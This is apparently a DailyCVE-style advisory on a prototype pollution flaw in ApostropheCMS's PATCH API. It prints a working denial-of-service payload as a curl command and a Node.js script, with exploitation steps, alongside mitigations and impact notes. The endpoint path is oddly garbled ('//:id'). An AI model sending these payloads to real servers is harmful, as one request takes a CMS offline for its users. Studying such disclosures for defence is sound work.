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CVE-2026-71553 describes a second‑order prototype pollution vulnerability in ApostropheCMS, an open‑source Node.js content management system. The flaw resides in the REST API endpoint PATCH /api/v1//:id, which accepts a JSON body containing dot‑notation paths. When an authenticated editor submits a payload such as {"toString.call":"x"}, the server passes the key `toString.call` through the utility module to `apos.util.set()` and apos.util.get(). These internal functions traverse object properties using the supplied path without sanitising dangerous keys. Because `toString` is a property inherited from Object.prototype, the assignment `Object.prototype.toString.call = “x”` overwrites the native `call` method of the global `toString` function. This modification is not confined to a single request; it mutates the shared prototype at the JavaScript engine level, affecting every subsequent operation that invokes `toString` anywhere in the application. The result is a persistent, process‑wide denial of service: any future call to `toString` (explicit or implicit) throws an error or returns unexpected values, breaking critical functionality such as logging, error handling, serialisation, and template rendering. The crash persists until the Node.js process is manually restarted, making it a single‑request, permanent DoS. The vulnerability is classified as CWE‑1321 (Improperly Controlled Modification of Object Prototype Attributes) and carries a CVSS v4.0 base score of 7.1 (High). It affects all versions up to and including 4.32.0. No workaround or official patch was available at the time of disclosure, though upgrading to 4.33.0 or later is recommended once released. The attack requires a valid editor session, limiting exposure to authenticated users, but the impact is severe because a single low‑privileged editor can bring down the entire CMS instance indefinitely.
DailyCVE Form:
Platform: ApostropheCMS
Version: <= 4.32.0
Vulnerability: 2nd‑order prototype pollution
Severity: High (CVSS 7.1)
Date: 2026‑08‑17
Prediction: 2026‑09‑15
What Undercode Say:
Exploit payload - overwrite Object.prototype.toString.call
curl -X PATCH "https://target.com/api/v1//123" \
-H "Cookie: session=valid_editor_session" \
-H "Content-Type: application/json" \
-d '{"toString.call":"x"}'
// Minimal Node.js script to reproduce the pollution
const axios = require('axios');
axios.patch('https://target.com/api/v1//123', {
'toString.call': 'x'
}, {
headers: { Cookie: 'session=valid_editor_session' }
}).then(() => {
// After this, any toString call in the process will break
console.log('Prototype polluted');
});
Exploit: (Educational Purposes!)
- Authenticate as an editor (obtain a valid session cookie).
- Craft a `PATCH` request to `/api/v1//:id` with a JSON body containing the key `toString.call` and any value (e.g.,
"x"). - Send the request. The server invokes `apos.util.set()` on the object, which traverses the path `toString.call` without sanitisation.
- Because `toString` is looked up on the prototype chain, the assignment lands on
Object.prototype.toString.call, overwriting the native `call` method. - From that moment, every operation that relies on `toString` (including
console.log, error stack traces, template rendering, and JSON serialisation) fails or throws an exception. - The DoS is persistent: the application remains broken until the Node.js process is restarted. No further requests are needed.
Protection:
- Upgrade to ApostropheCMS 4.33.0 or later once officially released.
- If upgrade is not immediately possible, restrict editor permissions to prevent access to the `PATCH /api/v1//:id` endpoint.
- Implement input validation that rejects any JSON key containing
__proto__,constructor,prototype, or dot‑notation paths that resolve to built‑in prototype properties (e.g.,toString.call). - Apply a sanitisation layer inside `apos.util.set()` and `apos.util.get()` to block traversal beyond the target object, preventing prototype pollution.
Impact:
- Availability: Complete and persistent denial of service across the entire Node.js process until manual restart.
- Integrity: Low – prototype modification does not directly alter data but corrupts runtime behaviour.
- Confidentiality: None – the flaw does not expose sensitive information.
- Attack Vector: Network‑based, requiring authenticated editor privileges.
- Business Impact: Any organisation using ApostropheCMS with editor accounts is at risk of an internal or compromised‑account attacker taking the CMS offline with a single HTTP request. Downtime persists until administrative intervention, potentially disrupting content publishing, user sessions, and dependent services.
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Sources:
Reported By: github.com
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